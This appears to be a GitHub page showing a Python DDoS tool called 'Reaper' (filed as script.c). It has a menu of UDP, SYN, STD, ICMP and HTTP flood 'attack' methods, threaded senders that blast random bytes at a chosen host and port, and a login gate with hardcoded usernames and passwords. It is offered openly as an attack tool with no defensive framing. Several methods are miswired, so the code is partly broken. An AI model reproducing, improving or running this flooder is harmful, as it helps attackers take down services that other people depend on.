-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathscript.c
More file actions
437 lines (404 loc) · 14.4 KB
/
Copy pathscript.c
File metadata and controls
437 lines (404 loc) · 14.4 KB
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
#!/usr/bin/env python3
#-*- coding: utf-8 -*-
#https://github.com/karankantaria
import sys
import socket
import time
import random
import threading
import getpass
import os
sys.stdout.write("\x1b]2;Reaper Made By Karan Kantaria\x07")
def modifications():
print ("Contact Karan The Script Is Currently Under Maitnance.")
on_enter = input("Press Enter To Leave.")
exit()
#column:65
methods = """\033[91m
╔══════════════════════════════════════════════════════╗
║ \033[00mDDOS METHODS\033[91m ║
║══════════════════════════════════════════════════════║
║ \033[00mUDP (HOST) (PORT) (TIME) (SIZE) \033[91m|\033[00m UDP ATTACK\033[91m ║
║ \033[00mSYN (HOST) (PORT) (TIME) (SIZE) \033[91m|\033[00m SYN ATTACK\033[91m ║
║ \033[00mSTD (HOST) (PORT) (TIME) (SIZE) \033[91m|\033[00m STD ATTACK\033[91m ║
║ \033[00mICMP (HOST) (PORT) (TIME) (SIZE) \033[91m|\033[00m ICMP ATTACK\033[91m ║
║ \033[00mHTTP (HOST) (PORT) (TIME) (SIZE) \033[91m|\033[00m HTTP ATTACK\033[91m ║
╚══════════════════════════════════════════════════════╝\033[00m
"""
info = """
Karan is op 2020
"""
help = """\033[91m
╔══════════════════════════════════════════════════════╗
║ \033[00mBASIC COMMANDS\033[91m ║
║══════════════════════════════════════════════════════║
║ \033[00mmethods \033[91m|\033[00m Reaper METHODS\033[91m ║
║ \033[00mtools \033[91m|\033[00m BASIC TOOLS\033[91m ║
║ \033[00mupdates \033[91m|\033[00m DISPLAYS UPDATE NOTES\033[91m ║
║ \033[00minfo \033[91m|\033[00m DISPLAYS Reaper INFO\033[91m ║
║ \033[00mclear \033[91m|\033[00m CLEARS SCREEN\033[91m ║
║ \033[00mexit \033[91m|\033[00m EXITS Reaper\033[91m ║
╚══════════════════════════════════════════════════════╝\033[00m
"""
tools = """\033[91m
╔══════════════════════════════════════════════════════╗
║ \033[00mTOOLS\033[91m ║
║══════════════════════════════════════════════════════║
║ \033[00mstopattacks \033[91m|\033[00m STOPS ALL ATTACKS\033[91m ║
║ \033[00mattacks \033[91m|\033[00m SHOWS RUNNING ATTACKS\033[91m ║
║ \033[00mping (HOST) (PORT) \033[91m|\033[00m PINGS A HOST\033[91m ║
║ \033[00mresolve (HOST) \033[91m|\033[00m GRABS A DOMAINS IP\033[91m ║
╚══════════════════════════════════════════════════════╝\033[00m
"""
updatenotes = """\033[91m
╔══════════════════════════════════════════════════════╗
║ \033[00mUPDATE NOTES\033[91m ║
║══════════════════════════════════════════════════════║
║ Karan is making more dont worry
╚══════════════════════════════════════════════════════╝\033[00m
"""
banner = """
_ __ _
| |/ /__ _ _ _ __ _ _ _ _ _ _____ _____ _ _ _ __ (_)______ ___ ___
| ' </ _` | '_/ _` | ' \ | ' \/ -_) V / -_) '_| | ' \| (_-<_-</ -_|_-<
|_|\_\__,_|_| \__,_|_||_| |_||_\___|\_/\___|_| |_|_|_|_/__/__/\___/__/
"""
cookie = open(".Reaper_Cookie","w+")
fsubs = 0
tpings = 0
liips = 0
tattacks = 0
uaid = 0
said = 0
iaid = 0
haid = 0
aid = 0
attack = True
http = True
udp = True
syn = True
icmp = True
std = True
def synsender(host, port, timer, punch):
global said
global syn
global aid
global tattacks
timeout = time.time() + float(timer)
sock = socket.socket (socket.AF_INET, socket.SOCK_RAW, socket.TCP_SYNCNT)
said += 1
tattacks += 1
aid += 1
while time.time() < timeout and syn and attack:
sock.sendto(punch, (host, int(port)))
said -= 1
aid -= 1
def udpsender(host, port, timer, punch):
global uaid
global udp
global aid
global tattacks
timeout = time.time() + float(timer)
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
uaid += 1
aid += 1
tattacks += 1
while time.time() < timeout and udp and attack:
sock.sendto(punch, (host, int(port)))
uaid -= 1
aid -= 1
def icmpsender(host, port, timer, punch):
global iaid
global icmp
global aid
global tattacks
timeout = time.time() + float(timer)
sock = socket.socket(socket.AF_INET, socket.IPPROTO_IGMP)
iaid += 1
aid += 1
tattacks += 1
while time.time() < timeout and icmp and attack:
sock.sendto(punch, (host, int(port)))
iaid -= 1
aid -= 1
def stdsender(host, port, timer, punch):
global iaid
global icmp
global aid
global tattacks
timeout = time.time() + float(timer)
sock = socket.socket(socket.AF_INET, socket.IPPROTO_IGMP)
iaid += 1
aid += 1
tattacks += 1
while time.time() < timeout and icmp and attack:
sock.sendto(punch, (host, int(port)))
iaid -= 1
aid -= 1
def httpsender(host, port, timer, punch):
global haid
global http
global aid
global tattacks
timeout = time.time() + float(timer)
haid += 1
aid += 1
tattacks += 1
while time.time() < timeout and icmp and attack:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.sendto(punch, (host, int(port)))
sock.close()
except socket.error:
pass
haid -= 1
aid -= 1
def main():
global fsubs
global tpings
global liips
global tattacks
global uaid
global said
global iaid
global haid
global aid
global attack
global dp
global syn
global icmp
global http
global std
while True:
sys.stdout.write("\x1b]2;Reaper Made By JayTheMasta\x07")
sin = input("\033[1;00m[\033[91mReaper\033[1;00m]# ").lower()
sinput = sin.split(" ")[0]
if sinput == "clear":
os.system ("clear")
print (banner)
main()
elif sinput == "help":
print (help)
main()
elif sinput == "exit":
exit()
elif sinput == "methods":
print (methods)
main()
elif sinput == "tools":
print (tools)
main()
elif sinput == "updates":
print (updatenotes)
main()
elif sinput == "info":
print (info)
main()
elif sinput == "attacks":
print ("\n[\033[91mReaper\033[00m] Total Attacks: {}\n".format (aid))
main()
elif sinput == "resolve":
liips += 1
host = sin.split(" ")[1]
host_ip = socket.gethostbyname(host)
print ("[\033[91mReaper\033[00m] Host: {} \033[00m[\033[91mConverted\033[00m] {}".format (host, host_ip))
main()
elif sinput == "ping":
tpings += 1
try:
sinput, host, port = sin.split(" ")
print ("[\033[91mReaper\033[00m] Starting Ping On Host: {}".format (host))
try:
ip = socket.gethostbyname(host)
except socket.gaierror:
print ("[\033[91mReaper\033[00m] Host Un-Resolvable.")
main()
while True:
try:
sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.settimeout(2)
start = time.time() * 1000
sock.connect ((host, int(port)))
stop = int(time.time() * 1000 - start)
sys.stdout.write("\x1b]2;R E A P E R [()ms] S O U L S\x07".format (stop))
print ("Reaper: {}:{} | Time: {}ms [\033[91mUP\033[00m]".format(ip, port, stop))
sock.close()
time.sleep(1)
except socket.error:
sys.stdout.write("\x1b]2;R E A P E R |TIME OUT| S O U L S\x07")
print ("Reaper: {}:{} [\033[91mDOWN\033[00m]".format(ip, port))
time.sleep(1)
except KeyboardInterrupt:
print("")
main()
except ValueError:
print ("[\033[91mReaper\033[00m] The Command {} Requires An Argument.".format (sinput))
main()
elif sinput == "udp":
if username == "guest":
print ("[\033[91mReaper\033[00m] You Are Not Allowed To Use This Method.")
main()
else:
try:
sinput, host, port, timer, pack = sin.split(" ")
socket.gethostbyname(host)
print ("Attack Sent To: {}\n".format (host))
punch = random._urandom(int(pack))
threading.Thread(target=udpsender, args=(host, port, timer, punch)).start()
except ValueError:
print ("[\033[91mReaper\033[00m] The Command {} Requires An Argument.".format (sinput))
main()
except socket.gaierror:
print ("[\033[91mReaper\033[00m] Host: {} Invalid".format (host))
main()
elif sinput == "http":
try:
sinput, host, port, timer, pack = sin.split(" ")
socket.gethostbyname(host)
print ("Attack Sent To: {}\n".format (host))
punch = random._urandom(int(pack))
threading.Thread(target=httpsender, args=(host, port, timer, punch)).start()
except ValueError:
print ("[\033[91mReaper\033[00m] The Command {} Requires An Argument.".format (sinput))
main()
except socket.gaierror:
print ("[\033[91mReaper\033[00m] Host: {} Invalid".format (host))
main()
elif sinput == "std":
try:
sinput, host, port, timer, pack = sin.split(" ")
socket.gethostbyname(host)
print ("Attack Sent To: {}\n".format (host))
punch = random._urandom(int(pack))
threading.Thread(target=stdsender, args=(host, port, timer, punch)).start()
except ValueError:
print ("[\033[91mSnoopy\033[00m] The Command {} Requires An Argument.".format (sinput))
main()
except socket.gaierror:
print ("[\033[91mSnoopy\033[00m] Host: {} Invalid".format (host))
main()
elif sinput == "icmp":
if username == "1400":
print ("[\033[91mReaper\033[00m] You Are Not Allowed To Use This Method.")
main()
else:
try:
sinput, host, port, timer, pack = sin.split(" ")
socket.gethostbyname(host)
print ("Attack Sent To: {}\n".format (host))
punch = random._urandom(int(pack))
threading.Thread(target=icmpsender, args=(host, port, timer, punch)).start()
except ValueError:
print ("[\033[91mReaper\033[00m] The Command {} Requires An Argument.".format (sinput))
main()
except socket.gaierror:
print ("[\033[91mReaper\033[00m] Host: {} Invalid".format (host))
main()
elif sinput == "syn":
try:
sinput, host, port, timer, pack = sin.split(" ")
socket.gethostbyname(host)
print ("Attack Sent To: {}\n".format (host))
punch = random._urandom(int(pack))
threading.Thread(target=icmpsender, args=(host, port, timer, punch)).start()
except ValueError:
print ("[\033[91mReaper\033[00m] The Command {} Requires An Argument.".format (sinput))
main()
except socket.gaierror:
print ("[\033[91mReaper\033[00m] Host: {} Invalid".format (host))
main()
elif sinput == "stopattacks":
attack = False
while not attack:
if aid == 0:
attack = True
elif sinput == "stop":
what = sin.split(" ")[1]
if what == "udp":
print ("Stoping all udp attacks")
udp = False
while not udp:
if aid == 0:
print ("[\033[91mReaper\033[00m] No UDP Processes Running.")
udp = True
main()
if what == "icmp":
print ("Stopping all icmp attacks")
icmp = False
while not icmp:
print ("[\033[91mReaper\033[00m] No ICMP Processes Running.")
udp = True
main()
else:
print ("[\033[91mReaper\033[00m] {} Is Not A Command.".format(sinput))
main()
try:
users = ["JayTheMasta", "1400", "karan"]
clear = "clear"
os.system (clear)
username = getpass.getpass ("[*] Username: ")
if username in users:
user = username
else:
print ("[*] Incorrect, Exiting.")
exit()
except KeyboardInterrupt:
print ("\nCtrl-C Has Been Pressed.")
exit()
try:
passwords = ["JayTheMasta", "roh", "karan"]
password = getpass.getpass ("[*] Password: ")
if user == "JayTheMasta":
if password == passwords[0]:
print ("[*] Login Correct.")
print ("[*] Type help To See Commands.")
cookie.write("DIE")
time.sleep(3)
os.system (clear)
try:
os.system ("clear")
print (banner)
main()
except KeyboardInterrupt:
print ("\n[\033[91mReaper\033[00m] Ctrl-C Has Been Pressed.")
main()
else:
print ("[*] Incorrect, Exiting.")
exit()
if user == "1400":
if password == passwords[1]:
print ("[*] Login Correct.")
print ("[*] Certain Methods Will Not Be Available To You.")
print ("[*] Type help To See Commands.")
time.sleep(5)
os.system (clear)
try:
os.system ("clear")
print (banner)
main()
except KeyboardInterrupt:
print ("\n[\033[91mReaper\033[00m] Ctrl-C Has Been Pressed.")
main()
else:
print ("[*] Incorrect, Exiting.")
exit()
if user == "karan":
if password == passwords[2]:
print ("[*] Login Correct.")
print ("[*] All Methods Will Be Available To You.")
print ("[*] Type help To See Commands.")
print ("[*] Welcome Home Mr.Kantaria!")
time.sleep(5)
os.system (clear)
try:
os.system ("clear")
print (banner)
main()
except KeyboardInterrupt:
print ("\n[\033[91mReaper\033[00m] Ctrl-C Has Been Pressed.")
main()
else:
print ("[*] Incorrect, Exiting.")
exit()
except KeyboardInterrupt:
exit()